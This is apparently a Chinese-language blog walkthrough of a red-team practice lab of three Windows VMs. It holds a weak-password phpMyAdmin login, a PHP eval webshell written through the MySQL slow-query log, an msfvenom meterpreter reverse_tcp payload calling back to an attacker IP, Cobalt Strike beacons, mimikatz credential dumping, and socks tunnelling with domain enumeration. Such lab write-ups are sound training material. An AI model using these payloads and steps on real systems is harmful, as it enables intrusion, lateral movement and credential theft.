靶场描述
红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,目前给出作者实战的一套攻击实战路线如下,虚拟机所有统一密码:hongrisec@2019
网络拓扑图
靶场搭建
VM1为win7,VM2为win2003,VM3为win2008
VM1作为内外网的枢纽,要内外网联通
三台靶机要在一个内网里, 网络适配器都要选仅主机,VM1要多弄个网卡选择NAT模式
查看网络是否联通
ip:
win7 外:192.168.184.143 内:192.168.52.143
win2003 :192.168.52.141
win2008 :192.168.52.138
VM1可以ping通外网和内网
而用kali不能ping通内网,能ping通VM1的外网
说明靶场环境搭建好了
信息收集
探测主机
能探测到VM1的外网
扫描端口
访问80端口
扫目录
外网渗透
弱口令
root/root
登录到phpadmin后台
数据库写shell
可以通过into outfile
或者日志写入shell
前提是secure_file_priv
的值是空
SHOWGLOBALVARIABLESLIKE'%secure%'
不允许通过into outfile来写shell
慢查询日志绕过secure_file_priv写shell'
查看慢查询日志开启情况
show variables like '%slow_query_log%';
开启慢查询日志
set global slow_query_log=1;
修改日志文件存储的绝对路径
set global slow_query_log_file='C:/phpStudy/WWW/4449.php';
向日志文件中写入shellselect
select '<?php @eval($_POST[cmd]);?>' or sleep(11);
使用慢查询日志时,只有当查询时间超过系统时间(默认为10秒)时才会记录在日志中,使用如下语句可查看系统时间:
show global variables like '%long_query_time%';
执行成功
直接写个bash反弹getshell
好像弹不成功
那就用蚁剑连了
后渗透
msf
msf
|
|
msfvenom -p windows/meterpreter_reverse_tcp lhost=192.168.184.128 lport=1234 -f exe -o run.exe
将exe通过蚁剑丢到网站上
连上
1.提权
由于直接就是administrator,所以可以直接提权到system
2.获取账号密码
1.导入账号,密码hash值:
使用windows/gather/smart_hashdump
模块
2.mimikatz
加载mimikatz模块
要先将进程迁移到x64且权限为system的进程去
|
|
cs上线
cs连上我的云服务器
cs生成木马
开启一个监听器
不知道为什么这里一定要80端口
cs生成木马
这里用的payload是上面那个
生成了木马,通过蚁剑将木马上传到服务器上
蚁剑上运行
上线了
msf 联动 cobaltstrike
msf获取到shell后,可以在提权后派发给cobaltstrike
我这里是将server放到云服务器上
|
|
首先cobaltstrike创建监听器:
msf先要连上服务器
|
|
1.cs提权
2.cs获取账号密码
查看用户hash值
使用mimikatz
破解到账号密码
可以查看登录凭证
留后门
|
|
guest用户启用不了
远程连接
windows远程连接需要开启3389端口(远程连接端口)
msf进入shellnetstat -an | find "3389"
或者nmap查看3389端口
nmap -p 3389 ip
通过远程桌面连接
内网渗透
横向移动
搭建隧道
横向渗透前,先将该web服务器配置为代理服务器当作跳板机。
msf+proxychains
可用msf直接搭建sock隧道:
进入session,自动创建路由:
run post/multi/manage/autoroute
查看路由:
run autoroute -p
或者
|
|
退到上层,使用socks4a进行代理,端口与proxychains里设置一致即可:
|
|
可以选择socks4a或者socks5
run后 可用jobs查看任务是否执行:
jobs
|
|
|
|
内网信息收集
ipconfig/all
发现DNS服务器为god.org
,使用net view
查看域信息,发现三台主机
能看到两台主机,还有一台应该是本身这台
net view /domain
查看主域信息
shell net time /domain
查看时间服务器
net config workstation
查询当前的登录域与用户信息(这里需要使用域用户,既未提权之前的用户)
这里由于提了权,执行失败,换了个administrator的域用户
nslookup god.org
利用 nslookup 命令直接解析域名服务器
net user /domain
查看当前域的所有用户
wmic useraccount get /all
获取域内用户的详细信息,可以获取到用户名,描述信息,SID 域名等
net group "domain computers" /domain
查看所有域成员计算机列表
net group "domain admins" /domain
查看域管理员
横向探测
扫主机
msf
proxychains4只支持支持socks,http, https协议,它们都是以tcp或者udp协议为基础,而 ping用的是ICMP协议,所以使用nmap -sn
是无法扫出来的,可以使用udp和tcp协议扫
使用nbname
探测模块
|
|
cs
138和141刚好就是另外两台内网ip
或者port scan有arp扫描主机
选择内网的网段
三台主机的内网ip都出来了
扫端口
cs
nmap -sC -sV -p 1-1000 ip
nmap
注意:这里用proxychains
用proxychains4没用
后面两个就内网的机子都是有ms17的漏洞